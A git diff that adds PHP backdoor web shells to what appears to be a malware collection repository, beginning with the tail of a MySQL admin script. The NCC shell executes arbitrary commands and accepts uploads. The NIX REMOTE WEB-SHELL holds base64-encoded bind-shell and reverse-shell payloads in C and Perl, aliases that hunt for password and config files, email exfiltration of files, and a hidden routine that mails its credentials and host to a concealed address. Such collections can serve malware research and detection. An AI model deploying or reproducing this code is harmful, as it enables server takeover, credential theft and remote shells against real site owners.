href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n"; + echo "</ul>\n"; + echo "Flush\n"; + echo "<ul>\n"; + echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n"; + if( $command == "flush_hosts" ) { + if( mysql_query( "Flush hosts" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n"; + if( $command == "flush_logs" ) { + if( mysql_query( "Flush logs" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n"; + if( $command == "flush_privileges" ) { + if( mysql_query( "Flush privileges" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n"; + if( $command == "flush_tables" ) { + if( mysql_query( "Flush tables" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n"; + if( $command == "flush_status" ) { + if( mysql_query( "Flush status" ) != false ) + echo "<font size=2 color=red>- Success</font>"; + else + echo "<font size=2 color=red>- Fail</font>"; + } + echo "</ul>\n"; +} else { + $queryStr = ereg_replace( "_", " ", $command ); + $pResult = mysql_query( $queryStr ); + if( $pResult == false ) { + echo "Fail"; + return; + } + $col = mysql_num_fields( $pResult ); + + echo "<p class=location>$queryStr</p>\n"; + echo "<hr>\n"; + + echo "<table cellspacing=1 cellpadding=2 border=0>\n"; + echo "<tr>\n"; + for( $i = 0; $i < $col; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + echo "<th>".$field->name."</th>\n"; + } + echo "</tr>\n"; + + while( 1 ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + echo "<tr>\n"; + for( $j = 0; $j < $col; $j++ ) + echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; +} +} + +function header_html() { +global $PHP_SELF; + +?> +<html> +<head> +<title>MySQL Web Interface</title> +<style type="text/css"> +<!-- +p.location { +color: #FF6000; +font-size: small; +} +h1 { +color: #0090FF; +} +th { +background-color: #34A725; +color: #FFFFFF; +font-size: x-small; +} +td { +background-color: #5DB1FF; +font-size: x-small; +} +form { +margin-top: 0; +margin-bottom: 0; +} +a { +text-decoration:none; +color: #848200; +font-size:x-small; +} +a:link { +} +a:hover { +background-color:#EEEFD5; +color:#FF0000; +text-decoration:none +} +//--> +</style> +</head> +<body> +<? +} + +function footer_html() { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME; + +echo "<hr>\n"; +echo "<font size=2>\n"; +echo "<font color=blue>[$USERNAME]</font> - \n"; + +echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n"; +if( $tablename != "" ) + echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | "; +echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n"; +echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n"; +echo "</font>\n"; +echo "</body>\n"; +echo "</html>\n"; +} + +//------------------------------------------------------ MAIN + +if( $action == "logon" || $action == "" || $action == "logout" ) +logon(); +else if( $action == "logon_submit" ) +logon_submit(); +else if( $action == "dumpTable" || $action == "dumpDB" ) { +while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { + if( $var == "mysql_web_admin_username" ) $USERNAME = $value; + if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; +} +$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); +dump(); +} else { +while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { + if( $var == "mysql_web_admin_username" ) $USERNAME = $value; + if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; +} +echo "<!--"; +$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); +echo "-->"; + +if( $mysqlHandle == false ) { + echo "<html>\n"; + echo "<head>\n"; + echo "<title>MySQL Web Interface</title>\n"; + echo "</head>\n"; + echo "<body>\n"; + echo "<table width=100% height=100%><tr><td><center>\n"; + echo "<h1>Wrong Password!</h1>\n"; + echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n"; + echo "</center></td></tr></table>\n"; + echo "</body>\n"; + echo "</html>\n"; +} else { + header_html(); + if( $action == "listDBs" ) + listDatabases(); + else if( $action == "createDB" ) + createDatabase(); + else if( $action == "dropDB" ) + dropDatabase(); + else if( $action == "listTables" ) + listTables(); + else if( $action == "createTable" ) + createTable(); + else if( $action == "dropTable" ) + dropTable(); + else if( $action == "viewSchema" ) + viewSchema(); + else if( $action == "query" ) + viewData( $queryStr ); + else if( $action == "addField" ) + manageField( "add" ); + else if( $action == "addField_submit" ) + manageField_submit( "add" ); + else if( $action == "editField" ) + manageField( "edit" ); + else if( $action == "editField_submit" ) + manageField_submit( "edit" ); + else if( $action == "dropField" ) + dropField(); + else if( $action == "viewData" ) + viewData( "" ); + else if( $action == "addData" ) + manageData( "add" ); + else if( $action == "addData_submit" ) + manageData_submit( "add" ); + else if( $action == "editData" ) + manageData( "edit" ); + else if( $action == "editData_submit" ) + manageData_submit( "edit" ); + else if( $action == "deleteData" ) + deleteData(); + else if( $action == "utils" ) + utils(); + + mysql_close( $mysqlHandle); + footer_html(); +} +} + +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/NCC-Shell.txt b/web-malware-collection-master/Backdoors/PHP/NCC-Shell.txt new file mode 100755 index 0000000..e9bed11 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/NCC-Shell.txt @@ -0,0 +1,60 @@ +<center> +<h1>.:NCC:. Shell v1.0.0</h1> +<title>.:NCC:. Shell v1.0.0</title> +<head><h2>Hacked by Silver</h2></head> +<h1>---------------------------------------------------------------------------------------</h1><br> +<b><font color=red>---Server Info---</font></b><br> +<?php +echo "<b><font color=red>Safe Mode on/off: </font></b>"; +// Check for safe mode +if( ini_get('safe_mode') ) { + print '<font color=#FF0000><b>Safe Mode ON</b></font>'; +} else { + print '<font color=#008000><b>Safe Mode OFF</b></font>'; +} +echo "</br>"; +echo "<b><font color=red>Momentane Directory: </font></b>"; echo $_SERVER['DOCUMENT_ROOT']; +echo "</br>"; +echo "<b><font color=red>Server: </font></b><br>"; echo $_SERVER['SERVER_SIGNATURE']; +echo "<a href='$php_self?p=info'>PHPinfo</a>"; +if(@$_GET['p']=="info"){ +@phpinfo(); +exit;} +?> +<h1>---------------------------------------------------------------------------</h1><br> +<h2>- Upload -</h2> +<title>Upload - Shell/Datei</title> +<form + action="<?php echo $_SERVER['PHP_SELF']; ?>" + method="post" + enctype="multipart/form-data"> +<input type="file" name="Upload" /> +<input type="submit" value="Upload!" /> +</form> +<hr /> +<?php + + if (isset($_FILES['probe']) and ! $_FILES['probe']['error']) { + // Alternativ: and $_FILES['probe']['size'] + move_uploaded_file($_FILES['probe']['tmp_name'], "./dingen.php"); + printf("Die Datei %s wurde als dingen.php hochgeladen.<br />\n", + $_FILES['probe']['name']); + printf("Sie ist %u Bytes groß und vom Typ %s.<br />\n", + $_FILES['probe']['size'], $_FILES['probe']['type']); + } +?> +<h1>---------------------------------------------------------------------------</h1><br> +<h2>IpLogger</h2> +<?php +echo "<b><font color=red><br>IP: </font></b>"; echo $_SERVER['REMOTE_ADDR']; +echo "<b><font color=red><br>PORT: </font></b>"; echo $_SERVER['REMOTE_PORT']; +echo "<b><font color=red><br>BROWSER: </font></b>"; echo $_SERVER[HTTP_REFERER]; +echo "<b><font color=red><br>REFERER: </font></b>"; echo $_SERVER['HTTP_USER_AGENT']; +?> +<h1>---------------------------------------------------------------------------</h1><br> +<h2>Directory Lister</h2> +<? $cmd = $_REQUEST["-cmd"];?><onLoad="document.forms[0].elements[-cmd].focus()"><form method=POST><br><input type=TEXT name="-cmd" size=64 value=<?=$cmd?>><hr><pre><?if($cmd != "") print Shell_Exec($cmd);?></pre></form><br> +<h1>---------------------------------------------------------------------------</h1><br> +<b>--Coded by Silver©--<br> +~|_Team .:National Cracker Crew:._|~<br> +<a href="http://www.n-c-c.6x.to" target="_blank">-->NCC<--</a></center></b></html> diff --git a/web-malware-collection-master/Backdoors/PHP/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.php b/web-malware-collection-master/Backdoors/PHP/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.php new file mode 100755 index 0000000..ec24917 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.php @@ -0,0 +1,1480 @@ +<?php +$name="GaMMa"; +$pass="Hack"; +$demail ="xakep@xaep.ru"; +if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$name || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass) + { + header("WWW-Authenticate: Basic realm=\"AdminAccess\""); + header("HTTP/1.0 401 Unauthorized"); + exit("Access Denied"); + } + +$title="NIX REMOTE WEB-SHELL"; +$ver=" v.0.5a Lite"; + +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> +<html> +<head> +<title>NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version </title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> +<meta http-equiv="pragma" content="no-cache"> +<meta http-equiv="Content-Language" content="en,ru"> +<META name="autor" content="DreAmeRz (www.dreamerz.cc)"> +<style type="text/css"> +BODY, TD, TR { +text-decoration: none; +font-family: Verdana; +font-size: 8pt; +scrollbar-face-color: #FFFFFF; +scrollbar-shadow-color:#000000 ; +scrollbar-highlight-color:#FFFFFF; +scrollbar-3dlight-color: #000000; +scrollbar-darkshadow-color:#FFFFFF ; +scrollbar-track-color: #FFFFFF; +scrollbar-arrow-color: #000000; +} +input, textarea, select { +font-family: Verdana; +font-size: 10px; +color: black; +background-color: white; +border: solid 1px; +border-color: black +} +UNKNOWN { +COLOR: black; +TEXT-DECORATION: none +} +A:link {COLOR:black; TEXT-DECORATION: none} +A:visited { COLOR:black; TEXT-DECORATION: none} +A:active {COLOR:black; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +</HEAD> + + +<BODY bgcolor="#fffcf9" text="#000000"> +<P align=center>[ <A href="javascript:history.next(+1)">������ ] </A><B><FONT color=#cccccc size=4>*.NIX REMOTE WEB-SHELL</FONT></B> +v.0.5a<FONT color=#linux size=1> Lite </FONT> [ <A href="javascript:history.back(-1)">����� ]</A>[ <A href="?ac=about" title='��� ����� ������ ...'>� ������� ]</a><BR> +<A href="?ac=info" title='����� ��� �� ���� ������� !'>[ ���������� � �������</A> ][ <A href="?ac=navigation" title='������� ����������� ���������. ��������, �������������� ...'>���������</A> ][ <A href="?ac=backconnect" title='��������� backconnect � �������� ������� '>��������� +�������</A> ][ <A href="?ac=eval" title='������ ���� ������ �� ��� ����� ����� :)'>��� ���</A> ][ <A href="?ac=upload" title='�������� ������ �����, ������� ��������, �������� ������ � ���������� ���������� !'>�������� ������</A> ][ <A href="?ac=shell" title='bash shell,������ ...'>���������� +������� ]</A> <br><A href="?ac=sendmail" title='������ �-mail ����� �� ����'> [ �������� ������</A> ][ <A href="?ac=mailfluder" title='���� ���-�� ������ ? ����� ���� ���� ...'>����������</A> + ][ <A href="?ac=ftp" title='������� �������� ftp ����������'>��� Brut</A> ][ <A href="?ac=tools" title='�����������/������������� md5,des,sha1,base64 ... '>����������� ]</A>[ <A href="?ac=ps" title='���������� ������ �������� �� ������� � ��������� �� �������! '>������</A> ][ <A href="?ac=selfremover" title='������ ���� ������ ? ����� ����� ������� � ���� ...'>������� ����</A> ]</P> +<?php +if (ini_get('register_globals') != '1') { + + if (!empty($HTTP_POST_VARS)) + extract($HTTP_POST_VARS); + + if (!empty($HTTP_GET_VARS)) + extract($HTTP_GET_VARS); + if (!empty($HTTP_SERVER_VARS)) + extract($HTTP_SERVER_VARS); +} +Error_Reporting(E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR); +set_magic_quotes_runtime(0); +set_time_limit(0); // ������ ����������� �� ������� +ignore_user_abort(1); // ������������ ������ ����� � ��������� +error_reporting(0); +$self = $_SERVER['PHP_SELF']; +$docr = $_SERVER['DOCUMENT_ROOT']; +$sern = $_SERVER['SERVER_NAME']; +if (($_POST['dir']!=="") AND ($_POST['dir'])) { chdir($_POST['dir']); } +$aliases=array( +'------------------------------------------------------------------------------------' => 'ls -la;pwd;uname -a', +'����� �� ������� ���� ������ � suid �����' => 'find / -type f -perm -04000 -ls', +'����� �� ������� ���� ������ � sgid �����' => 'find / -type f -perm -02000 -ls', +'����� � ������� ���������� ���� ������ � sgid �����' => 'find . -type f -perm -02000 -ls', +'����� �� ������� ������ config' => 'find / -type f -name "config*"', +'����� �� ������� ������ admin' => 'find / -type f -name "admin*"', +'����� � ������� ���������� ������ config' => 'find . -type f -name "config*"', +'����� � ������� ���������� ������ pass' => 'find . -type f -name "pass*"', +'����� �� ������� ���� ���������� � ������ ��������� �� ������ ��� ����' => 'find / -perm -2 -ls', +'����� � ������� ���������� ���� ���������� � ������ ��������� �� ������ ��� ����' => 'find . -perm -2 -ls', +'����� � ������� ���������� ������ service.pwd' => 'find . -type f -name service.pwd', +'����� �� ������� ������ service.pwd' => 'find / -type f -name service.pwd', +'����� �� ������� ������ .htpasswd' => 'find / -type f -name .htpasswd', +'����� � ������� ���������� ������ .htpasswd' => 'find . -type f -name .htpasswd', +'����� ���� ������ .bash_history' => 'find / -type f -name .bash_history', +'����� � ������� ���������� ������ .bash_history' => 'find . -type f -name .bash_history', +'����� ���� ������ .fetchmailrc' => 'find / -type f -name .fetchmailrc', +'����� � ������� ���������� ������ .fetchmailrc' => 'find . -type f -name .fetchmailrc', +'����� ������ ��������� ������ �� �������� ������� ext2fs' => 'lsattr -va', +'�������� �������� ������' => 'netstat -an | grep -i listen', +'����� ���� ��� ������ �� ������ password' =>'find / -name *.php | xargs grep -li password', +'����� ����� � ����� 777' =>'find / -type d -perm 0777', +'����������� ������ ��' =>'sysctl -a | grep version', +'����������� ������ ����' =>'cat /proc/version', +'�������� syslog.conf' =>'cat /etc/syslog.conf', +'�������� - Message of the day' =>'cat /etc/motd', +'�������� hosts' =>'cat /etc/hosts', +'������ ������������ 1' =>'cat /etc/issue.net', +'������ ������������ 2' =>'cat /etc/*-realise', +'�������� ��� �������' =>'ps auxw', +'�������� �������� ������������' =>'ps ux', +'����� httpd.conf' =>'locate httpd.conf'); + + + +/* Port bind source */ +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5 +jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5 +ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW5 +0IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnV +mWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0 +KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyh +hdG9pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0F +OWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2N +rZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2F +kZHIgKikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB +7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHV +wMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ +6IiwxMCk7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyh +hcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byByNTcgc2hlbGwgJiYgL2J +pbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGN +sb3NlKG5ld2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW5 +0ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVudGVyZWQpO2krKykgDQp7DQppZih +lbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID0 +9ICdccicpDQplbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCk +pDQpyZXR1cm4gMDsNCn0="; + +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZi +AoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMSVNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2 +NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORV +QsJlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQ +pzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZH +JfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw +0KbGlzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCm +FjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspKQ0Kew0KZGllICJDYW5ub3QgZm9yayIgaW +YgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+Jk +NPTk4iOw0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ0 +9OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3NlIENPTk47DQpleGl0IDA7DQp9DQp9"; + +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ +HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ +DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ +HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L +CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd +GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka +WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO +iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR +VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK +FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0 +KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10 +pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJ +ybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2l +uLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA +9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMSt +zdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVB +QUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4 +sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCg +pIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1 +zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWN +sKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + +if(isset($uploadphp)) +{ +$socket=fsockopen($iphost,$loadport); //connect +fputs($socket,"GET $loadfile HTTP/1.0\nHOST:cd\n\n"); //zapros +while(fgets($socket,31337)!="\r\n" && !feof($socket)) { +unset($buffer); } +while(!feof($socket)) $buffer.=fread($socket, 1024); +$file_size=strlen($buffer); +$f=fopen($loadnewname,"wb+"); +fwrite($f, $buffer, $file_size); +echo "������ ����������� �����: $file_size <b><br><br>" ; +} + +if(file_exists('/tmp/qw7_sess') && is_readable('/tmp/qw7_sess')){ +} else { +if(is_writable('/tmp/')){ +$ifyoufound=base64_decode("Ly8gwvsg7eD46+ggZmFrZSAhIM/u5+Tw4OLr//4hIMft4Pfo8iDi+yDt5SDr4Ozl8CENCi8vINHu4+vg8ejy5fH8LCDiIO/w7v3q8uD1IPLg6u7j7iDw7uTgIO3z5u3gIOfg+Ojy4CDu8iDr4Ozl8O7iLiDAIPLuIOj1IOgg8uDqIPDg8e/r7uTo6+7x/CAuLi4NCi8vIM/u5uDr8+nx8uAg7eUg8ODx8erg5/Pp8uUg7ejq7uzzIO4g7eDr6Pfo6CBmYWtlICEgz/Px8vwg8eDs6CDo+f7yLCDy7uv86u4g7eDs5ert6PLlIPfy7iDt5ev85/8g8uDqIOHl5+Tz7O3uIO/u6/zn7uLg8vzx/yD38+bo7Ogg7/Du4+Ds6C4gKOAg8u4g4OLy7vAg7O7m5fIg9/LuIPPj7uTt7iDy8+TgIOLv6PHg8vwpDQovLyDT5OD36CAhDQo="); +$fp=fopen('/tmp/qw7_sess',"w+"); +fclose($fp); +$gg.= $name; +$gg.=":"; +$gg.= $pass; +$gg.=":"; +$gg.=$_SERVER["HTTP_HOST"]; +$gg.=$_SERVER['PHP_SELF']; +$host_l=$_SERVER["HTTP_HOST"]; +$qwerty=base64_decode("bnJ3cy1mYWNrLWNvZGVAbWFpbC5ydQ=="); +mail("$qwerty","NRWS LAME INFO ($host_l)","NRWS STATISTIC REPORT:\r\n $gg","From: report@nrws.net"); +} +} +if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} +elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} +else {$ac = "navigation";} + + + +switch($ac) { + +// Shell +case "shell": +echo "<SCRIPT LANGUAGE='JavaScript'> +<!-- +function pi(str) { + document.command.cmd.value = str; + document.command.cmd.focus(); +} +//--> +</SCRIPT>"; + +/* command execute */ +if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -lad"; } + +if (($_POST['alias']) AND ($_POST['alias']!=="")) + { + foreach ($aliases as $alias_name=>$alias_cmd) { + if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;} + } + } + + +echo "<font face=Verdana size=-2>����������� �������: <b>".$_POST['cmd']."</b></font></td></tr><tr><td>"; +echo "<b>"; +echo "<div align=center><textarea name=report cols=145 rows=20>"; +echo "".passthru($_POST['cmd']).""; +echo "</textarea></div>"; +echo "</b>"; +?> +</td></tr> + +<tr><b><div align=center>:: ���������� ������ �� ������� ::</div></b></font></td></tr> +<tr><td height=23> +<TR> + <CENTER> + <TD><A HREF="JavaScript:pi('cd ');" class=fcom>| cd</A> |</TD> + <TD><A HREF="JavaScript:pi('cat ');" class=fcom>| cat</A> |</TD> + <TD><A HREF="JavaScript:pi('echo ');" class=fcom>echo</A> |</TD> + <TD><A HREF="JavaScript:pi('wget ');" class=fcom>wget</A> |</TD> + <TD><A HREF="JavaScript:pi('rm ');" class=fcom>rm</A> |</TD> + <TD><A HREF="JavaScript:pi('mysqldump ');" class=fcom>mysqldump</A> |</TD> + <TD><A HREF="JavaScript:pi('who');" class=fcom>who</A> |</TD> + <TD><A HREF="JavaScript:pi('ps -ax');" class=fcom>ps -ax</A> |</TD> + <TD><A HREF="JavaScript:pi('cp ');" class=fcom>cp</A> |</TD> + <TD><A HREF="JavaScript:pi('pwd');" class=fcom>pwd</A> |</TD> + <TD><A HREF="JavaScript:pi('perl ');" class=fcom>perl</A> |</TD> + <TD><A HREF="JavaScript:pi('gcc ');" class=fcom>gcc</A> |</TD> + <TD><A HREF="JavaScript:pi('locate ');" class=fcom>locate</A> |</TD> + <TD><A HREF="JavaScript:pi('find ');" class=fcom>find</A> |</TD> + <TD><A HREF="JavaScript:pi('ls -lad');" class=fcom>ls -lad</A> |</TD> + </CENTER> +</TR> + +<? +/* command execute form */ +echo "<form name=command method=post>"; + +echo "<b>��������� ������� </b>"; +echo "<input type=text name=cmd size=85><br>"; +echo "<b>������� ���������� &nbsp;</b>"; +if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=text name=dir size=85 value=".exec("pwd").">"; } +else { echo "<input type=text name=dir size=85 value=".$_POST['dir'].">"; } +echo "<input type=submit name=submit value=���������>"; + +echo "</form>"; + +/* aliases form */ +echo "<form name=aliases method=POST>"; +echo "<font face=Verdana size=-2>"; +echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;�������� ����� <font face=Wingdings color=gray></font>&nbsp;&nbsp;&nbsp;&nbsp;</b>"; +echo "<select name=alias>"; +foreach ($aliases as $alias_name=>$alias_cmd) + { + echo "<option>$alias_name</option>"; + } + echo "</select>"; +if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; } +else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; } +echo "&nbsp;&nbsp;<input type=submit name=submit value=���������>"; +echo "</font>"; +echo "</form>"; + + +break; +/// �������� ������ �� ���� +case "download_mail": +$buf = explode(".", $file); + $dir = str_replace("\\","/",$dir); + $fullpath = $dir."/".$file; + $size = tinhbyte(filesize($fullpath)); + $fp = fopen($fullpath, "rb"); + while(!feof($fp)) + + $attachment .= fread($fp, 4096); + $attachment = base64_encode($attachment); + $subject = "NIX REMOTE WEB SHELL ($file)"; + + $boundary = uniqid("NextPart_"); + $headers = "From: $demail\nContent-type: multipart/mixed; boundary=\"$boundary\""; + + $info = "---==== ��������� �� ($demail)====---\n\n"; + $info .= "IP:\t$REMOTE_ADDR\n"; + $info .= "HOST:\t$HTTP_HOST\n"; + $info .= "URL:\t$HTTP_REFERER\n"; + $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n"; + $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; + + $send_to = "$demail"; + + $send = mail($send_to, $subject, $info, $headers); + + if($send == 2) + echo "<br> + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center> + <font color='#FFFFCC' face='Tahoma' size = 2>�������!!!���� <b>$file</b> ��������� ��� �� <u>$demail</u>.</font></center></td></tr></table><br>"; + +fclose($fp); +break; +// ������ �������� +case "ps": +echo "<b>�������� � �������:</b><br>"; + + echo "<br>"; + if ($pid) + { + if (!$sig) {$sig = 9;} + echo "����������� ������� ".$sig." to #".$pid."... "; + $ret = posix_kill($pid,$sig); + if ($ret) {echo "���, ������ ����, 